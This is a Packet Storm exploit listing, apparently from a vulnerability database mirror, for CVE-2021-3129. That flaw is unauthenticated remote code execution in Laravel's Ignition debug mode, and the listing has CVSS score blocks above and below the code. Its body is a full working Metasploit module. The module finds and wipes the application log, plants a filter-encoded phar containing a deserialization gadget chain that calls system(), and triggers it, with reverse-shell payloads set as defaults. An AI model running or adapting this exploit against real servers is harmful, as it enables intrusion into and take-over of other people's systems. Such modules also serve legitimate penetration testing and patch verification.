Lucene search

K
packetstormHeyder Andrade, ambionics, metasploit.comPACKETSTORM:165999
HistoryFeb 16, 2022 - 12:00 a.m.

Ignition Remote Code Execution

2022-02-1600:00:00
Heyder Andrade, ambionics, metasploit.com
packetstormsecurity.com
197

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Unauthenticated remote code execution in Ignition',  
'Description' => %q{  
Ignition before 2.5.2, as used in Laravel and other products,  
allows unauthenticated remote attackers to execute arbitrary code  
because of insecure usage of file_get_contents() and file_put_contents().  
This is exploitable on sites using debug mode with Laravel before 8.4.2.  
},  
'Author' => [  
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging  
'ambionics' # discovered  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2021-3129'],  
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']  
],  
'DisclosureDate' => '2021-01-13',  
'Platform' => %w[unix linux macos win],  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Windows (In-Memory)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),  
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])  
])  
end  
  
def check  
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'PUT'  
}, 1)  
# Check whether it is using facade/ignition  
# If is using it should respond method not allowed  
# checking if debug mode is enable  
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)  
vprint_status 'Debug mode is enabled.'  
# check version  
versions = JSON.parse(  
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')  
)  
version = Rex::Version.new(versions['framework_version'])  
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"  
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)  
# but it is way more intrusive than just checking the version moreover we would need to call  
# the find_log_file method before, meaning four requests more.  
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
@logfile = datastore['LOGFILE'] || find_log_file  
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile  
  
clear_log  
put_payload  
convert_to_phar  
run_phar  
  
handler  
  
clear_log  
end  
  
def find_log_file  
vprint_status 'Trying to detect log file'  
res = post Rex::Text.rand_text_alpha_upper(12)  
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})  
logpath = Regexp.last_match(1).gsub(/\\/, '')  
vprint_status "Found directory candidate #{logpath}"  
logfile = "#{logpath}/storage/logs/laravel.log"  
vprint_status "Checking if #{logfile} exists"  
res = post logfile  
if res.code == 200  
vprint_status "Found log file #{logfile}"  
return logfile  
end  
vprint_error "Log file does not exist #{logfile}"  
return  
end  
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'  
return  
end  
  
def clear_log  
res = post "php://filter/read=consumed/resource=#{@logfile}"  
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)  
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200  
end  
  
def put_payload  
post format_payload  
post Rex::Text.rand_text_alpha_upper(2)  
end  
  
def convert_to_phar  
filters = %w[  
convert.quoted-printable-decode  
convert.iconv.utf-16le.utf-8  
convert.base64-decode  
].join('|')  
  
post "php://filter/write=#{filters}/resource=#{@logfile}"  
end  
  
def run_phar  
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"  
# resp.body.match(%r{^(.*)\n<!doctype html>})  
# $1 ? print_good($1) : nil  
end  
  
def body_template(data)  
{  
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',  
parameters: {  
viewFile: data,  
variableName: Rex::Text.rand_text_alpha_lower(4..12)  
}  
}.to_json  
end  
  
def post(data)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'POST',  
'data' => body_template(data),  
'ctype' => 'application/json',  
'headers' => {  
'Accept' => '*/*',  
'Accept-Encoding' => 'gzip, deflate'  
}  
})  
end  
  
def generate_phar(pop)  
file = Rex::Text.rand_text_alpha_lower(8)  
stub = "<?php __HALT_COMPILER(); ?>\r\n"  
file_contents = Rex::Text.rand_text_alpha_lower(20)  
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff  
manifest_len = 40 + pop.length + file.length  
phar = stub  
phar << [manifest_len].pack('V') # length of manifest in bytes  
phar << [0x1].pack('V') # number of files in the phar  
phar << [0x11].pack('v') # api version of the phar manifest  
phar << [0x10000].pack('V') # global phar bitmapped flags  
phar << [0x0].pack('V') # length of phar alias  
phar << [pop.length].pack('V') # length of phar metadata  
phar << pop # pop chain  
phar << [file.length].pack('V') # length of filename in the archive  
phar << file # filename  
phar << [file_contents.length].pack('V') # length of the uncompressed file contents  
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.  
phar << [file_contents.length].pack('V') # length of the compressed file contents  
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents  
phar << [0x1b6].pack('V') # bit-mapped file-specific flags  
phar << [0x0].pack('V') # serialized File Meta-data length  
phar << file_contents # serialized File Meta-data  
phar << [Rex::Text.sha1(phar)].pack('H*') # signature  
phar << [0x2].pack('V') # signiture type  
phar << 'GBMB' # signature presence  
  
return phar  
end  
  
def format_payload  
# rubocop:disable Style/StringLiterals  
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""  
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"  
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""  
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""  
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"  
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"  
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"  
# rubocop:enable Style/StringLiterals  
phar = generate_phar(serialize)  
  
b64_gadget = Base64.strict_encode64(phar).gsub('=', '')  
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join  
  
return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P